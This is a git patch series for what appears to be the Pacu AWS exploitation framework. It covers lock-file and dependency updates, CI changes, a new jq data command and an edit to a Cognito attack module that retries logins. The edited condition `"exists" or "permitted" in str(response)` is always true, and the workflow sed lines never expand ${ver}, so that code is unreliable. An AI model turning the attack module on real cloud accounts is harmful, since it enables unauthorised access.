"sha256:7893783d01b8a89811dd72d7dfd4d84ff098e5eed95cfa8905b22bbffe52efc3"}, - {file = "pyflakes-2.3.1.tar.gz", hash = "sha256:f5bc8ecabc05bb9d291eb5203d6810b49040f6ff446a756326104746cc00c1db"}, -] -pyparsing = [ - {file = "pyparsing-2.4.7-py2.py3-none-any.whl", hash = "sha256:ef9d7589ef3c200abe66653d3f1ab1033c3c419ae9b9bdb1240a85b024efc88b"}, - {file = "pyparsing-2.4.7.tar.gz", hash = "sha256:c203ec8783bf771a155b207279b9bccb8dea02d8f0c9e5f8ead507bc3246ecc1"}, -] -pypng = [ - {file = "pypng-0.20220715.0-py3-none-any.whl", hash = "sha256:4a43e969b8f5aaafb2a415536c1a8ec7e341cd6a3f957fd5b5f32a4cfeed902c"}, - {file = "pypng-0.20220715.0.tar.gz", hash = "sha256:739c433ba96f078315de54c0db975aee537cbc3e1d0ae4ed9aab0ca1e427e2c1"}, -] -pytest = [ - {file = "pytest-6.2.4-py3-none-any.whl", hash = "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890"}, - {file = "pytest-6.2.4.tar.gz", hash = "sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b"}, -] -python-dateutil = [ - {file = "python-dateutil-2.8.2.tar.gz", hash = "sha256:0123cacc1627ae19ddf3c27a5de5bd67ee4586fbdd6440d9748f8abb483d3e86"}, - {file = "python_dateutil-2.8.2-py2.py3-none-any.whl", hash = "sha256:961d03dc3453ebbc59dbdea9e4e11c5651520a876d0f4db161e8674aae935da9"}, -] -python-editor = [ - {file = "python-editor-1.0.4.tar.gz", hash = "sha256:51fda6bcc5ddbbb7063b2af7509e43bd84bfc32a4ff71349ec7847713882327b"}, - {file = "python_editor-1.0.4-py2-none-any.whl", hash = "sha256:5f98b069316ea1c2ed3f67e7f5df6c0d8f10b689964a4a811ff64f0106819ec8"}, - {file = "python_editor-1.0.4-py3-none-any.whl", hash = "sha256:1bf6e860a8ad52a14c3ee1252d5dc25b2030618ed80c022598f00176adc8367d"}, -] -python-jose = [ - {file = "python-jose-3.3.0.tar.gz", hash = "sha256:55779b5e6ad599c6336191246e95eb2293a9ddebd555f796a65f838f07e5d78a"}, - {file = "python_jose-3.3.0-py2.py3-none-any.whl", hash = "sha256:9b1376b023f8b298536eedd47ae1089bcdb848f1535ab30555cd92002d78923a"}, -] -pytz = [ - {file = "pytz-2021.1-py2.py3-none-any.whl", hash = "sha256:eb10ce3e7736052ed3623d49975ce333bcd712c7bb19a58b9e2089d4057d0798"}, - {file = "pytz-2021.1.tar.gz", hash = "sha256:83a4a90894bf38e243cf052c8b58f381bfe9a7a483f6a9cab140bc7f702ac4da"}, -] -pyyaml = [ - {file = "PyYAML-5.4.1-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:3b2b1824fe7112845700f815ff6a489360226a5609b96ec2190a45e62a9fc922"}, - {file = "PyYAML-5.4.1-cp27-cp27m-win32.whl", hash = "sha256:129def1b7c1bf22faffd67b8f3724645203b79d8f4cc81f674654d9902cb4393"}, - {file = "PyYAML-5.4.1-cp27-cp27m-win_amd64.whl", hash = "sha256:4465124ef1b18d9ace298060f4eccc64b0850899ac4ac53294547536533800c8"}, - {file = "PyYAML-5.4.1-cp27-cp27mu-manylinux1_x86_64.whl", hash = "sha256:bb4191dfc9306777bc594117aee052446b3fa88737cd13b7188d0e7aa8162185"}, - {file = "PyYAML-5.4.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:6c78645d400265a062508ae399b60b8c167bf003db364ecb26dcab2bda048253"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:4e0583d24c881e14342eaf4ec5fbc97f934b999a6828693a99157fde912540cc"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:72a01f726a9c7851ca9bfad6fd09ca4e090a023c00945ea05ba1638c09dc3347"}, - {file = "PyYAML-5.4.1-cp36-cp36m-manylinux2014_s390x.whl", hash = "sha256:895f61ef02e8fed38159bb70f7e100e00f471eae2bc838cd0f4ebb21e28f8541"}, - {file = "PyYAML-5.4.1-cp36-cp36m-win32.whl", hash = "sha256:3bd0e463264cf257d1ffd2e40223b197271046d09dadf73a0fe82b9c1fc385a5"}, - {file = "PyYAML-5.4.1-cp36-cp36m-win_amd64.whl", hash = "sha256:e4fac90784481d221a8e4b1162afa7c47ed953be40d31ab4629ae917510051df"}, - {file = "PyYAML-5.4.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:5accb17103e43963b80e6f837831f38d314a0495500067cb25afab2e8d7a4018"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:e1d4970ea66be07ae37a3c2e48b5ec63f7ba6804bdddfdbd3cfd954d25a82e63"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:cb333c16912324fd5f769fff6bc5de372e9e7a202247b48870bc251ed40239aa"}, - {file = "PyYAML-5.4.1-cp37-cp37m-manylinux2014_s390x.whl", hash = "sha256:fe69978f3f768926cfa37b867e3843918e012cf83f680806599ddce33c2c68b0"}, - {file = "PyYAML-5.4.1-cp37-cp37m-win32.whl", hash = "sha256:dd5de0646207f053eb0d6c74ae45ba98c3395a571a2891858e87df7c9b9bd51b"}, - {file = "PyYAML-5.4.1-cp37-cp37m-win_amd64.whl", hash = "sha256:08682f6b72c722394747bddaf0aa62277e02557c0fd1c42cb853016a38f8dedf"}, - {file = "PyYAML-5.4.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:d2d9808ea7b4af864f35ea216be506ecec180628aced0704e34aca0b040ffe46"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:8c1be557ee92a20f184922c7b6424e8ab6691788e6d86137c5d93c1a6ec1b8fb"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:fd7f6999a8070df521b6384004ef42833b9bd62cfee11a09bda1079b4b704247"}, - {file = "PyYAML-5.4.1-cp38-cp38-manylinux2014_s390x.whl", hash = "sha256:bfb51918d4ff3d77c1c856a9699f8492c612cde32fd3bcd344af9be34999bfdc"}, - {file = "PyYAML-5.4.1-cp38-cp38-win32.whl", hash = "sha256:fa5ae20527d8e831e8230cbffd9f8fe952815b2b7dae6ffec25318803a7528fc"}, - {file = "PyYAML-5.4.1-cp38-cp38-win_amd64.whl", hash = "sha256:0f5f5786c0e09baddcd8b4b45f20a7b5d61a7e7e99846e3c799b05c7c53fa696"}, - {file = "PyYAML-5.4.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:294db365efa064d00b8d1ef65d8ea2c3426ac366c0c4368d930bf1c5fb497f77"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:74c1485f7707cf707a7aef42ef6322b8f97921bd89be2ab6317fd782c2d53183"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:d483ad4e639292c90170eb6f7783ad19490e7a8defb3e46f97dfe4bacae89122"}, - {file = "PyYAML-5.4.1-cp39-cp39-manylinux2014_s390x.whl", hash = "sha256:fdc842473cd33f45ff6bce46aea678a54e3d21f1b61a7750ce3c498eedfe25d6"}, - {file = "PyYAML-5.4.1-cp39-cp39-win32.whl", hash = "sha256:49d4cdd9065b9b6e206d0595fee27a96b5dd22618e7520c33204a4a3239d5b10"}, - {file = "PyYAML-5.4.1-cp39-cp39-win_amd64.whl", hash = "sha256:c20cfa2d49991c8b4147af39859b167664f2ad4561704ee74c1de03318e898db"}, - {file = "PyYAML-5.4.1.tar.gz", hash = "sha256:607774cbba28732bfa802b54baa7484215f530991055bb562efbed5b2f20a45e"}, -] -qrcode = [ - {file = "qrcode-7.4.2-py3-none-any.whl", hash = "sha256:581dca7a029bcb2deef5d01068e39093e80ef00b4a61098a2182eac59d01643a"}, - {file = "qrcode-7.4.2.tar.gz", hash = "sha256:9dd969454827e127dbd93696b20747239e6d540e082937c90f14ac95b30f5845"}, -] -readchar = [ - {file = "readchar-2.0.1-py2-none-any.whl", hash = "sha256:ed00b7a49bb12f345319d9fa393f289f03670310ada2beb55e8c3f017c648f1e"}, - {file = "readchar-2.0.1-py3-none-any.whl", hash = "sha256:3ac34aab28563bc895f73233d5c08b28f951ca190d5850b8d4bec973132a8dca"}, -] -requests = [ - {file = "requests-2.26.0-py2.py3-none-any.whl", hash = "sha256:6c1246513ecd5ecd4528a0906f910e8f0f9c6b8ec72030dc9fd154dc1a6efd24"}, - {file = "requests-2.26.0.tar.gz", hash = "sha256:b8aa58f8cf793ffd8782d3d8cb19e66ef36f7aba4353eec859e74678b01b07a7"}, -] -responses = [ - {file = "responses-0.13.3-py2.py3-none-any.whl", hash = "sha256:b54067596f331786f5ed094ff21e8d79e6a1c68ef625180a7d34808d6f36c11b"}, - {file = "responses-0.13.3.tar.gz", hash = "sha256:18a5b88eb24143adbf2b4100f328a2f5bfa72fbdacf12d97d41f07c26c45553d"}, -] -rsa = [ - {file = "rsa-4.7.2-py3-none-any.whl", hash = "sha256:78f9a9bf4e7be0c5ded4583326e7461e3a3c5aae24073648b4bdfa797d78c9d2"}, - {file = "rsa-4.7.2.tar.gz", hash = "sha256:9d689e6ca1b3038bc82bf8d23e944b6b6037bc02301a574935b2dd946e0353b9"}, -] -s3transfer = [ - {file = "s3transfer-0.5.0-py3-none-any.whl", hash = "sha256:9c1dc369814391a6bda20ebbf4b70a0f34630592c9aa520856bf384916af2803"}, - {file = "s3transfer-0.5.0.tar.gz", hash = "sha256:50ed823e1dc5868ad40c8dc92072f757aa0e653a192845c94a3b676f4a62da4c"}, -] -setuptools = [ - {file = "setuptools-59.6.0-py3-none-any.whl", hash = "sha256:4ce92f1e1f8f01233ee9952c04f6b81d1e02939d6e1b488428154974a4d0783e"}, - {file = "setuptools-59.6.0.tar.gz", hash = "sha256:22c7348c6d2976a52632c67f7ab0cdf40147db7789f9aed18734643fe9cf3373"}, -] -six = [ - {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"}, - {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"}, -] -sqlalchemy = [ - {file = "SQLAlchemy-1.3.24-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:87a2725ad7d41cd7376373c15fd8bf674e9c33ca56d0b8036add2d634dba372e"}, - {file = "SQLAlchemy-1.3.24-cp27-cp27m-win32.whl", hash = "sha256:f597a243b8550a3a0b15122b14e49d8a7e622ba1c9d29776af741f1845478d79"}, - {file = "SQLAlchemy-1.3.24-cp27-cp27m-win_amd64.whl", hash = "sha256:fc4cddb0b474b12ed7bdce6be1b9edc65352e8ce66bc10ff8cbbfb3d4047dbf4"}, - {file = "SQLAlchemy-1.3.24-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:f1149d6e5c49d069163e58a3196865e4321bad1803d7886e07d8710de392c548"}, - {file = "SQLAlchemy-1.3.24-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:14f0eb5db872c231b20c18b1e5806352723a3a89fb4254af3b3e14f22eaaec75"}, - {file = "SQLAlchemy-1.3.24-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:e98d09f487267f1e8d1179bf3b9d7709b30a916491997137dd24d6ae44d18d79"}, - {file = "SQLAlchemy-1.3.24-cp35-cp35m-manylinux2014_aarch64.whl", hash = "sha256:fc1f2a5a5963e2e73bac4926bdaf7790c4d7d77e8fc0590817880e22dd9d0b8b"}, - {file = "SQLAlchemy-1.3.24-cp35-cp35m-win32.whl", hash = "sha256:f3c5c52f7cb8b84bfaaf22d82cb9e6e9a8297f7c2ed14d806a0f5e4d22e83fb7"}, - {file = "SQLAlchemy-1.3.24-cp35-cp35m-win_amd64.whl", hash = "sha256:0352db1befcbed2f9282e72843f1963860bf0e0472a4fa5cf8ee084318e0e6ab"}, - {file = "SQLAlchemy-1.3.24-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:2ed6343b625b16bcb63c5b10523fd15ed8934e1ed0f772c534985e9f5e73d894"}, - {file = "SQLAlchemy-1.3.24-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:34fcec18f6e4b24b4a5f6185205a04f1eab1e56f8f1d028a2a03694ebcc2ddd4"}, - {file = "SQLAlchemy-1.3.24-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:e47e257ba5934550d7235665eee6c911dc7178419b614ba9e1fbb1ce6325b14f"}, - {file = "SQLAlchemy-1.3.24-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:816de75418ea0953b5eb7b8a74933ee5a46719491cd2b16f718afc4b291a9658"}, - {file = "SQLAlchemy-1.3.24-cp36-cp36m-win32.whl", hash = "sha256:26155ea7a243cbf23287f390dba13d7927ffa1586d3208e0e8d615d0c506f996"}, - {file = "SQLAlchemy-1.3.24-cp36-cp36m-win_amd64.whl", hash = "sha256:f03bd97650d2e42710fbe4cf8a59fae657f191df851fc9fc683ecef10746a375"}, - {file = "SQLAlchemy-1.3.24-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:a006d05d9aa052657ee3e4dc92544faae5fcbaafc6128217310945610d862d39"}, - {file = "SQLAlchemy-1.3.24-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:1e2f89d2e5e3c7a88e25a3b0e43626dba8db2aa700253023b82e630d12b37109"}, - {file = "SQLAlchemy-1.3.24-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:0d5d862b1cfbec5028ce1ecac06a3b42bc7703eb80e4b53fceb2738724311443"}, - {file = "SQLAlchemy-1.3.24-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:0172423a27fbcae3751ef016663b72e1a516777de324a76e30efa170dbd3dd2d"}, - {file = "SQLAlchemy-1.3.24-cp37-cp37m-win32.whl", hash = "sha256:d37843fb8df90376e9e91336724d78a32b988d3d20ab6656da4eb8ee3a45b63c"}, - {file = "SQLAlchemy-1.3.24-cp37-cp37m-win_amd64.whl", hash = "sha256:c10ff6112d119f82b1618b6dc28126798481b9355d8748b64b9b55051eb4f01b"}, - {file = "SQLAlchemy-1.3.24-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:861e459b0e97673af6cc5e7f597035c2e3acdfb2608132665406cded25ba64c7"}, - {file = "SQLAlchemy-1.3.24-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:5de2464c254380d8a6c20a2746614d5a436260be1507491442cf1088e59430d2"}, - {file = "SQLAlchemy-1.3.24-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:d375d8ccd3cebae8d90270f7aa8532fe05908f79e78ae489068f3b4eee5994e8"}, - {file = "SQLAlchemy-1.3.24-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:014ea143572fee1c18322b7908140ad23b3994036ef4c0d630110faf942652f8"}, - {file = "SQLAlchemy-1.3.24-cp38-cp38-win32.whl", hash = "sha256:6607ae6cd3a07f8a4c3198ffbf256c261661965742e2b5265a77cd5c679c9bba"}, - {file = "SQLAlchemy-1.3.24-cp38-cp38-win_amd64.whl", hash = "sha256:fcb251305fa24a490b6a9ee2180e5f8252915fb778d3dafc70f9cc3f863827b9"}, - {file = "SQLAlchemy-1.3.24-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:01aa5f803db724447c1d423ed583e42bf5264c597fd55e4add4301f163b0be48"}, - {file = "SQLAlchemy-1.3.24-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:4d0e3515ef98aa4f0dc289ff2eebb0ece6260bbf37c2ea2022aad63797eacf60"}, - {file = "SQLAlchemy-1.3.24-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:bce28277f308db43a6b4965734366f533b3ff009571ec7ffa583cb77539b84d6"}, - {file = "SQLAlchemy-1.3.24-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:8110e6c414d3efc574543109ee618fe2c1f96fa31833a1ff36cc34e968c4f233"}, - {file = "SQLAlchemy-1.3.24-cp39-cp39-win32.whl", hash = "sha256:ee5f5188edb20a29c1cc4a039b074fdc5575337c9a68f3063449ab47757bb064"}, - {file = "SQLAlchemy-1.3.24-cp39-cp39-win_amd64.whl", hash = "sha256:09083c2487ca3c0865dc588e07aeaa25416da3d95f7482c07e92f47e080aa17b"}, - {file = "SQLAlchemy-1.3.24.tar.gz", hash = "sha256:ebbb777cbf9312359b897bf81ba00dae0f5cb69fba2a18265dcc18a6f5ef7519"}, -] -sqlalchemy-stubs = [ - {file = "sqlalchemy-stubs-0.4.tar.gz", hash = "sha256:c665d6dd4482ef642f01027fa06c3d5e91befabb219dc71fc2a09e7d7695f7ae"}, - {file = "sqlalchemy_stubs-0.4-py3-none-any.whl", hash = "sha256:5eec7aa110adf9b957b631799a72fef396b23ff99fe296df726645d01e312aa5"}, -] -SQLAlchemy-Utils = [ - {file = "SQLAlchemy-Utils-0.37.9.tar.gz", hash = "sha256:4667edbdcb1ece011076b69772ef524bfbb17cc97e03f11ee6b85d98e7741d61"}, - {file = "SQLAlchemy_Utils-0.37.9-py3-none-any.whl", hash = "sha256:bb6f4da8ac044cb0dd4d0278b1fb434141a5ee9d1881c757a076830ddbb04160"}, -] -toml = [ - {file = "toml-0.10.2-py2.py3-none-any.whl", hash = "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b"}, - {file = "toml-0.10.2.tar.gz", hash = "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f"}, -] -typed-ast = [ - {file = "typed_ast-1.4.3-cp35-cp35m-manylinux1_i686.whl", hash = "sha256:2068531575a125b87a41802130fa7e29f26c09a2833fea68d9a40cf33902eba6"}, - {file = "typed_ast-1.4.3-cp35-cp35m-manylinux1_x86_64.whl", hash = "sha256:c907f561b1e83e93fad565bac5ba9c22d96a54e7ea0267c708bffe863cbe4075"}, - {file = "typed_ast-1.4.3-cp35-cp35m-manylinux2014_aarch64.whl", hash = "sha256:1b3ead4a96c9101bef08f9f7d1217c096f31667617b58de957f690c92378b528"}, - {file = "typed_ast-1.4.3-cp35-cp35m-win32.whl", hash = "sha256:dde816ca9dac1d9c01dd504ea5967821606f02e510438120091b84e852367428"}, - {file = "typed_ast-1.4.3-cp35-cp35m-win_amd64.whl", hash = "sha256:777a26c84bea6cd934422ac2e3b78863a37017618b6e5c08f92ef69853e765d3"}, - {file = "typed_ast-1.4.3-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:f8afcf15cc511ada719a88e013cec87c11aff7b91f019295eb4530f96fe5ef2f"}, - {file = "typed_ast-1.4.3-cp36-cp36m-manylinux1_i686.whl", hash = "sha256:52b1eb8c83f178ab787f3a4283f68258525f8d70f778a2f6dd54d3b5e5fb4341"}, - {file = "typed_ast-1.4.3-cp36-cp36m-manylinux1_x86_64.whl", hash = "sha256:01ae5f73431d21eead5015997ab41afa53aa1fbe252f9da060be5dad2c730ace"}, - {file = "typed_ast-1.4.3-cp36-cp36m-manylinux2014_aarch64.whl", hash = "sha256:c190f0899e9f9f8b6b7863debfb739abcb21a5c054f911ca3596d12b8a4c4c7f"}, - {file = "typed_ast-1.4.3-cp36-cp36m-win32.whl", hash = "sha256:398e44cd480f4d2b7ee8d98385ca104e35c81525dd98c519acff1b79bdaac363"}, - {file = "typed_ast-1.4.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bff6ad71c81b3bba8fa35f0f1921fb24ff4476235a6e94a26ada2e54370e6da7"}, - {file = "typed_ast-1.4.3-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:0fb71b8c643187d7492c1f8352f2c15b4c4af3f6338f21681d3681b3dc31a266"}, - {file = "typed_ast-1.4.3-cp37-cp37m-manylinux1_i686.whl", hash = "sha256:760ad187b1041a154f0e4d0f6aae3e40fdb51d6de16e5c99aedadd9246450e9e"}, - {file = "typed_ast-1.4.3-cp37-cp37m-manylinux1_x86_64.whl", hash = "sha256:5feca99c17af94057417d744607b82dd0a664fd5e4ca98061480fd8b14b18d04"}, - {file = "typed_ast-1.4.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:95431a26309a21874005845c21118c83991c63ea800dd44843e42a916aec5899"}, - {file = "typed_ast-1.4.3-cp37-cp37m-win32.whl", hash = "sha256:aee0c1256be6c07bd3e1263ff920c325b59849dc95392a05f258bb9b259cf39c"}, - {file = "typed_ast-1.4.3-cp37-cp37m-win_amd64.whl", hash = "sha256:9ad2c92ec681e02baf81fdfa056fe0d818645efa9af1f1cd5fd6f1bd2bdfd805"}, - {file = "typed_ast-1.4.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b36b4f3920103a25e1d5d024d155c504080959582b928e91cb608a65c3a49e1a"}, - {file = "typed_ast-1.4.3-cp38-cp38-manylinux1_i686.whl", hash = "sha256:067a74454df670dcaa4e59349a2e5c81e567d8d65458d480a5b3dfecec08c5ff"}, - {file = "typed_ast-1.4.3-cp38-cp38-manylinux1_x86_64.whl", hash = "sha256:7538e495704e2ccda9b234b82423a4038f324f3a10c43bc088a1636180f11a41"}, - {file = "typed_ast-1.4.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:af3d4a73793725138d6b334d9d247ce7e5f084d96284ed23f22ee626a7b88e39"}, - {file = "typed_ast-1.4.3-cp38-cp38-win32.whl", hash = "sha256:f2362f3cb0f3172c42938946dbc5b7843c2a28aec307c49100c8b38764eb6927"}, - {file = "typed_ast-1.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:dd4a21253f42b8d2b48410cb31fe501d32f8b9fbeb1f55063ad102fe9c425e40"}, - {file = "typed_ast-1.4.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:f328adcfebed9f11301eaedfa48e15bdece9b519fb27e6a8c01aa52a17ec31b3"}, - {file = "typed_ast-1.4.3-cp39-cp39-manylinux1_i686.whl", hash = "sha256:2c726c276d09fc5c414693a2de063f521052d9ea7c240ce553316f70656c84d4"}, - {file = "typed_ast-1.4.3-cp39-cp39-manylinux1_x86_64.whl", hash = "sha256:cae53c389825d3b46fb37538441f75d6aecc4174f615d048321b716df2757fb0"}, - {file = "typed_ast-1.4.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:b9574c6f03f685070d859e75c7f9eeca02d6933273b5e69572e5ff9d5e3931c3"}, - {file = "typed_ast-1.4.3-cp39-cp39-win32.whl", hash = "sha256:209596a4ec71d990d71d5e0d312ac935d86930e6eecff6ccc7007fe54d703808"}, - {file = "typed_ast-1.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:9c6d1a54552b5330bc657b7ef0eae25d00ba7ffe85d9ea8ae6540d2197a3788c"}, - {file = "typed_ast-1.4.3.tar.gz", hash = "sha256:fb1bbeac803adea29cedd70781399c99138358c26d05fcbd23c13016b7f5ec65"}, -] -typing-extensions = [ - {file = "typing_extensions-3.10.0.0-py2-none-any.whl", hash = "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497"}, - {file = "typing_extensions-3.10.0.0-py3-none-any.whl", hash = "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84"}, - {file = "typing_extensions-3.10.0.0.tar.gz", hash = "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342"}, -] -urllib3 = [ - {file = "urllib3-1.26.6-py2.py3-none-any.whl", hash = "sha256:39fb8672126159acb139a7718dd10806104dec1e2f0f6c88aab05d17df10c8d4"}, - {file = "urllib3-1.26.6.tar.gz", hash = "sha256:f57b4c16c62fa2760b7e3d97c35b255512fb6b59a259730f36ba32ce9f8e342f"}, -] -wcwidth = [ - {file = "wcwidth-0.2.5-py2.py3-none-any.whl", hash = "sha256:beb4802a9cebb9144e99086eff703a642a13d6a0052920003a230f3294bbe784"}, - {file = "wcwidth-0.2.5.tar.gz", hash = "sha256:c4d647b99872929fdb7bdcaa4fbe7f01413ed3d98077df798530e5b04f116c83"}, -] -werkzeug = [ - {file = "Werkzeug-2.0.1-py3-none-any.whl", hash = "sha256:6c1ec500dcdba0baa27600f6a22f6333d8b662d22027ff9f6202e3367413caa8"}, - {file = "Werkzeug-2.0.1.tar.gz", hash = "sha256:1de1db30d010ff1af14a009224ec49ab2329ad2cde454c8a708130642d579c42"}, -] -wheel = [ - {file = "wheel-0.37.1-py2.py3-none-any.whl", hash = "sha256:4bdcd7d840138086126cd09254dc6195fb4fc6f01c050a1d7236f2630db1d22a"}, - {file = "wheel-0.37.1.tar.gz", hash = "sha256:e9a504e793efbca1b8e0e9cb979a249cf4a0a7b5b8c9e8b65a5e39d49529c1c4"}, -] -xmltodict = [ - {file = "xmltodict-0.12.0-py2.py3-none-any.whl", hash = "sha256:8bbcb45cc982f48b2ca8fe7e7827c5d792f217ecf1792626f808bf41c3b86051"}, - {file = "xmltodict-0.12.0.tar.gz", hash = "sha256:50d8c638ed7ecb88d90561beedbf720c9b4e851a9fa6c47ebd64e99d166d8a21"}, -] -zipp = [ - {file = "zipp-3.5.0-py3-none-any.whl", hash = "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3"}, - {file = "zipp-3.5.0.tar.gz", hash = "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4"}, -] diff --git a/pyproject.toml b/pyproject.toml index 694a2388..3a9209c9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -23,6 +23,7 @@ chalice = "^1.23.0" policyuniverse = "^1.5.0.20220613" pycognito = "^2023.5.0" qrcode = "^7.4.2" +jq = "^1.4.1" [tool.poetry.dev-dependencies] flake8 = "^3.9.1" From 22519384b68564ceb7c928c0c9ac33130fe0f2fb Mon Sep 17 00:00:00 2001 From: root Date: Wed, 20 Sep 2023 15:56:57 -0400 Subject: [PATCH 7/9] prerelease --- .github/workflows/python-deploy-pypi.yml | 3 + .github/workflows/python-lint-test.yml | 3 + Dockerfile | 2 +- pacu/main.py | 20 + pacu/modules/cognito__attack/main.py | 4 +- pacu/modules/route53__enum/main.py | 105 +- poetry.lock | 1520 ++++++++++++---------- pyproject.toml | 4 +- requirements.txt | 433 ++++-- 9 files changed, 1269 insertions(+), 825 deletions(-) diff --git a/.github/workflows/python-deploy-pypi.yml b/.github/workflows/python-deploy-pypi.yml index 893efa4a..768432c2 100644 --- a/.github/workflows/python-deploy-pypi.yml +++ b/.github/workflows/python-deploy-pypi.yml @@ -35,6 +35,9 @@ jobs: - name: Bump version run: | poetry version ${{ github.event.inputs.SemVer_level }} + ver="$(poetry version -s)" + sed -i 's/pacu.version=".*"/pacu.version="${ver}"/' Dockerfile + sed -i 's/pacu.version=".*"/pacu.version="${ver}"/' Dockerfile.dev - name: Commit and push version changes run: | ver="$(poetry version -s)" diff --git a/.github/workflows/python-lint-test.yml b/.github/workflows/python-lint-test.yml index 51632171..2e1f84a7 100644 --- a/.github/workflows/python-lint-test.yml +++ b/.github/workflows/python-lint-test.yml @@ -28,6 +28,9 @@ jobs: python -m pip install --upgrade pip pip install poetry poetry install + - name: Test Docker build + run: | + docker build . --file Dockerfile --tag rhinosecuritylabs/pacu:latest - name: Lint with flake8 and mypy run: | poetry run make lint diff --git a/Dockerfile b/Dockerfile index 478e8560..30704132 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM python:3.9-alpine3.12 +FROM python:3.9-alpine LABEL maintainer="Rhino Assessment Team " LABEL pacu.version="1.0.1" diff --git a/pacu/main.py b/pacu/main.py index f9fe961f..0db5f8a5 100644 --- a/pacu/main.py +++ b/pacu/main.py @@ -20,6 +20,7 @@ from datetime import datetime try: + import jq # type: ignore import requests import boto3 import botocore @@ -90,6 +91,7 @@ def display_pacu_help(): data Display all data that is stored in this session. Only fields with values will be displayed data [] Display all data for a specified service in this session + jq [] Run a jq statement on the specified service's data services Display a list of services that have collected data in the current session to use with the "data" command regions Display a list of all valid AWS regions @@ -667,6 +669,8 @@ def parse_command(self, command): return elif command[0] == 'data': self.parse_data_command(command) + elif command[0] == 'jq': + self.parse_jq_command(command) elif command[0] == 'sessions' or command[0] == 'list_sessions': self.list_sessions() elif command[0] == 'swap_session': @@ -810,6 +814,22 @@ def _parse_data_command_sub_service(self, service_data: dict, sub_service: str) else: return json.dumps(service_data[name], indent=2, sort_keys=True, default=str) + def parse_jq_command(self, command): + session = self.get_active_session() + data_command = ["data"] + command[2:] + data = self._parse_data_command(data_command, session) + try: + data = json.loads(data) + except json.decoder.JSONDecodeError: + print(data) + return + try: + jq_output = jq.all(command[1], data) + except ValueError as e: + print(e) + return + print(json.dumps(jq_output, indent=2, sort_keys=True, default=str)) + def parse_set_regions_command(self, command): session = self.get_active_session() diff --git a/pacu/modules/cognito__attack/main.py b/pacu/modules/cognito__attack/main.py index 3f51b395..acfa6423 100644 --- a/pacu/modules/cognito__attack/main.py +++ b/pacu/modules/cognito__attack/main.py @@ -378,8 +378,8 @@ def main(args, pacu_main): up_client["Region"], ) all_new_regions.append(up_client["Region"]) - elif "exists" in str(response): - print("User exists") + elif "exists" or "permitted" in str(response): + print("User may exist; attempting login.") try: aws = AWSSRP( username=args.username, diff --git a/pacu/modules/route53__enum/main.py b/pacu/modules/route53__enum/main.py index 283e3d57..1ba6970e 100644 --- a/pacu/modules/route53__enum/main.py +++ b/pacu/modules/route53__enum/main.py @@ 